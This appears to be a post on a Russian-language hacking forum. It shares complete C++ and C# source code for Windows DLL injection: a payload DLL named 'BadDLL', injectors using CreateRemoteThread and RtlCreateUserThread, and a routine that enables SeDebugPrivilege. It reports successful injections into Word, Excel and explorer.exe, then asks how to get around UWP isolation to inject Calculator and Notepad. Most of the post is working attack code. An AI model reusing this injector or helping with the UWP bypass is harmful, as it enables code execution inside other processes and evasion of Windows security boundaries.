• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья DLL Injection and a question for UWP apps

Geometry

HDD-drive
Пользователь
Регистрация
30.10.2022
Сообщения
29
Реакции
28
Dear all good day!

I would like to share with you some thoughts on a project that I am currently working, that is about DLL Injection on Windows 10 and Windows 11.

But first, please allow me to note that the code and information that I will share is not something new and also, I have also share similar questions to other forums...
I note this, to prevent someone to "blame" me that I just Copy/Paste some other's question...
So, everything I publish here is from my testing on my VM testing lab.

Let's start:
There is lot of published source code and diff methods on how to perform a DLL Injection in Windows.
I just follow these guidelines:
1. In order, for a successful attack in a 64-bit architecture, the source code is compiled as 'x64' bit architecture.
2. I used Visual Studio 2019 and C++ for creating the test apps.
3. I use two methods for applying the DLL injection:
3.1. Method 1: Using the API function: CreateRemoteThread (https://learn.micros...ateremotethread)​
3.2. Method 2: Using the API (undocumented) function: RtlCreateUserThread (http://undocumented....UserThread.html)​

My DLL in C++
The DLL source code (the one that will inject the target process) is the following:
C++:
//
// BadDLL.cpp -> BadDLL.DLL
//
#include "pch.h"
 
#include<stdio.h>
#include <windows.h>
#include <commctrl.h>
 
char recerseshell[] = "";
 
BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
{
    switch (dwReason)
    {
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_PROCESS_ATTACH:     
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
 
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));
 
        if (!CreateProcess(
            TEXT("C:\\Windows\\System32\\cmd.exe"),
            NULL,
            NULL,
            NULL,
            FALSE,
            NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
            NULL,
            NULL,
            &si,
            &pi)
            )
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        break;
    }
}

As you can see, when the Attach Process event is triggered (a.k.a. we have a successful DLL injection) the cmd.exe app is executed.

The DLL Injector in C++
Now, let's go to the DLL Injector itself source code, in CPP:
C++:
// DllInjectionTest.cpp
// Tested on: Windows 11
// platform x64
// Develpment on C++ VS 2019
//
// Tip: on 64bit box Compile on 64bit archiecture!
//
////////////////////////////////////
 
#include <iostream>
#include <cstdio>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <TlHelp32.h>
 
#define NT_SUCCESS(x) ((x) >= 0)
 
typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
 
typedef NTSTATUS(NTAPI* pfnRtlCreateUserThread)(
    IN HANDLE ProcessHandle,
    IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
    IN BOOLEAN CreateSuspended,
    IN ULONG StackZeroBits OPTIONAL,
    IN SIZE_T StackReserve OPTIONAL,
    IN SIZE_T StackCommit OPTIONAL,
    IN PTHREAD_START_ROUTINE StartAddress,
    IN PVOID Parameter OPTIONAL,
    OUT PHANDLE ThreadHandle OPTIONAL,
    OUT PCLIENT_ID ClientId OPTIONAL);
 
 
typedef NTSTATUS(WINAPI* LPFUN_NtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN LPVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN LPTHREAD_START_ROUTINE lpStartAddress,
    IN LPVOID lpParameter,
    IN BOOL CreateSuspended,
    IN ULONG StackZeroBits,
    IN ULONG SizeOfStackCommit,
    IN ULONG SizeOfStackReserve,
    OUT LPVOID lpBytesBuffer
    );
 
//Buffer argument passed to NtCreateThreadEx function
 
struct NtCreateThreadExBuffer
{
    ULONG Size;
    ULONG Unknown1;
    ULONG Unknown2;
    PULONG Unknown3;
    ULONG Unknown4;
    ULONG Unknown5;
    ULONG Unknown6;
    PULONG Unknown7;
    ULONG Unknown8;
};
 
 
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
 
BOOL DllInject_1(UINT32 ProcessId, char *DLL_NAME)
{
    LPVOID LoadLibAddr, RemoteString;
    HANDLE hThread;
    DWORD dwWaitResult, dwExitResult = 0;
 
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
 
    if (hProcess == NULL)
    {
        std::cout << "Cannot get the Process ID " << ProcessId;
        return (0);
    }
 
    Sleep(2000);
 
    LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryA");
    if (LoadLibAddr == NULL)
    {
        return (0);
    }
 
    //Allocates a buffer for and writes the path to the DLL we want to inject inside of the target process's memory
    RemoteString = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(DLL_NAME)+1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (RemoteString == NULL)
    {
        return (0);
    }
  
    if (!WriteProcessMemory(hProcess, (LPVOID)RemoteString, DLL_NAME, strlen(DLL_NAME)+1, NULL))
    {
        return (0);
    }
 
    //Calls LoadLibrary on our specified DLL in the target process
    hThread = CreateRemoteThread(
        hProcess,
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)LoadLibAddr,
        (LPVOID)RemoteString,
        NULL,
        NULL
    );
 
    if (hThread != NULL) {
        dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
        GetExitCodeThread(hThread, &dwExitResult);
        CloseHandle(hThread);
        VirtualFreeEx(hProcess, RemoteString, 0, MEM_RELEASE);
        return (1);
    }
 
    return (0);
}
 
BOOL DllInject_2(UINT32 ProcessId, char* DLL_NAME)
{
    HANDLE ProcessHandle = NULL;
 
    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
 
 
    UINT32  DllFullPathLength = (strlen(DLL_NAME));
    PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (DllFullPathBufferData == NULL)
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }
 
    SIZE_T  ReturnLength;
    BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DLL_NAME, strlen(DLL_NAME), &ReturnLength);
 
    LPTHREAD_START_ROUTINE  LoadLibraryAddress = NULL;
    HMODULE                 Kernel32Module = GetModuleHandle(L"Kernel32");
 
    LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");
 
    pfnRtlCreateUserThread RtlCreateUserThread = (pfnRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");
 
  
    HANDLE ThreadHandle = NULL;
    NTSTATUS Status = RtlCreateUserThread(ProcessHandle, NULL, FALSE, 0, 0, 0, LoadLibraryAddress, DllFullPathBufferData, &ThreadHandle, NULL);
    if (ThreadHandle == NULL)
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }
    if (!NT_SUCCESS(Status))
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }
 
    if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
    {
        return FALSE;
    }
 
    CloseHandle(ProcessHandle);
    CloseHandle(ThreadHandle);
 
    return TRUE;
}
 
 
int EnableSeDebugPrivilege(void) {
    HANDLE hToken;
    LUID Val;
    TOKEN_PRIVILEGES tp;
 
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return(GetLastError());
 
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
        return(GetLastError());
 
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = Val;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
        return(GetLastError());
 
    CloseHandle(hToken);
 
    return 1;
}
 
 
int main(int argc, char *argv[])
{
    DWORD dwTargetProcessID = 0;
    char DLL_NAME[512] = "";
    int iMethod = 0;
 
    if (argc == 4)
    {
        iMethod = atoi(argv[1]);
        if ((iMethod < 1) || (iMethod > 2))
        {
            std::cout << "** Arg(1) must be 1 or 2.";
            return (-1);
        }
 
        strcpy_s(DLL_NAME, argv[2]);
        dwTargetProcessID = atoi(argv[3]);
    }
    else
    {
        std::cout << "** Usage: <1 | 2> <Full_DLL_Path_and_Filename> <ProcessID> ";
        std::cout << "** Arg(1) is the method will be used for DLL injection.";
        return -1;
    }
 
    std::cout << "DLL Injection Test \n";
 
    if (EnableSeDebugPrivilege() == 1)
        std::cout <<  "[+] Get All Privilege [ok!].\n";
    else
        std::cout << "[-]Cannot Get All Privilege.\n";
 
 
    std::cout << "[+] Try to inject...";
    /// //// ---------------------------------------------------------------------
    DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;
    if (!ProcessIdToSessionId(GetCurrentProcessId(), &CurrentSessionID))
    {
        std::cout << "\nFailed to get the current session with error" << GetLastError() ;
        return -1;
    }
    if (!ProcessIdToSessionId(dwTargetProcessID, &RemoteSessionID))
    {
        std::cout << "\nFailed to get the remote session with error" << GetLastError() ;
        return -2;
    }
 
    BOOLEAN bResult = false;
 
    (iMethod == 1) ? (bResult = DllInject_1(dwTargetProcessID, DLL_NAME)) : (bResult = DllInject_2(dwTargetProcessID, DLL_NAME));
 
    if (bResult)
    {
        std::cout << "\nSUCCESSFUL!\n";
    }
    else
    {
        std::cout << "\nFailed!\n";
        return -3;
    }
 
    return 1;
 
}
My goal is to run the 'DllInjectionTest.exe' that will try to inject a process (its ID is passed as command line argument) using the above DLL (its full path is passed as command line argument) and when the injection succeeds i must see a command prompt window as a result.
In addition I pass as a command line parameter the method of injection I would like to use (1 or 2)

Lets see an example of a successful execution.
The target process is the Microsoft Word.
Supposing that its process ID is 21076:
screen00-jpg-93093752cf8566c8764c2f1700a



So, I run from command line:
DllInjectionTest.exe 1 "\work\DLLInjection\BadDLL\x64\Debug\BadDLL.dll" 21076
...and I see a successful injection:

1667168082275.png


The DLL Injector in C#
I also write the DLL Injector in C Sharp (for .Net lovers)...
The source code below implements only the method #1, i.e. CreateRemoteThread.
C#:
//
// DllInjectionTest.cs
//
/////////////////////
 
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
 
namespace DLLInjectionTestCS
{
    class Program
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
            IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
 
        // privileges for OpenProcess
        const int PROCESS_CREATE_THREAD = 0x0002;
        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int PROCESS_VM_OPERATION = 0x0008;
        const int PROCESS_VM_WRITE = 0x0020;
        const int PROCESS_VM_READ = 0x0010;
 
        // used for VirtualAllocEx
        const uint MEM_COMMIT = 0x00001000;
        const uint MEM_RESERVE = 0x00002000;
        const uint PAGE_READWRITE = 4;
 
 
        static int Main()
        {
           Process targetProcess = Process.GetProcessById(20072); // You just enter the process ID, manually.
          //Process targetProcess = Process.GetProcessById(12428); // You just enter the process ID, manually.
 
            string myBadDLL = "\\work\\DLLInjection\\BadDLL\\x64\\Debug\\BadDLL.dll"; //x64
            //string myBadDLL = "\\work\\DLLInjection\\BadDLL\\Debug\\BadDLL.dll"; //x32
 
            if (!(File.Exists(myBadDLL)))
                return -1;
 
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(myBadDLL), (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
 
            return 0;
        }
    }
}

FINDINGS
My tests scenarios and the results was:

1. Target on WINWORD (MS Word) process : Success in both Win10 & Win11.
2. Target on MSEXCEL process: Success in both Win10 & Win11.
3. Target on TOTALCMD64.EXE (the Total Commander app) process: Success in both Win10 & Win11.
4. Target on explorer.exe process: Success in both Win10 & Win11.
5. Target on notepad.exe (Windows Notepad) process: Success in Win10 & Fails in Win11 with no error!
6. Target on CalculatorApp.exe (Windows Calculator) process: Fails in both Win10 & Win11 with no error!

I repeat every test using:
a ) The C++ injector using method #1:CreateRemoteThread
b ) The C++ injector using method #2: RtlCreateUserThread
c ) The C# injector (that is actually the same as (a).

I also used the shareware app RemoteDLL (from https://securityxploded.com/remotedll.php) that is an application specially for DLL injection.
I got the same / analogous results.

What I saw is that the apps that I cannot inject are UWP apps:
They may be located in System32 path, but when I execute them I see a different image path (the WindowsApps path) in the Task Manager, as you can see in the following image (for the Calculator app) on my Windows 10 box.
1667168915331.png


I found the following apps to run as UWP apps:
  • In windows 11: the Calculator & Notepad and
  • In windows10: The Calculator only.
Thus, my code and the RemoteDLL app cannot inject applications that are UWP (Universal Windows Platform)!


And the QUESTION
Does anyone came accross of such a situation?
If YES, do you have any work around about how to inject UWP (Universal Windows Platform) applications. I believe it is possible, but I am affraid that I miss the correct API function or the correct method (in general).


Thank for reading!!
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх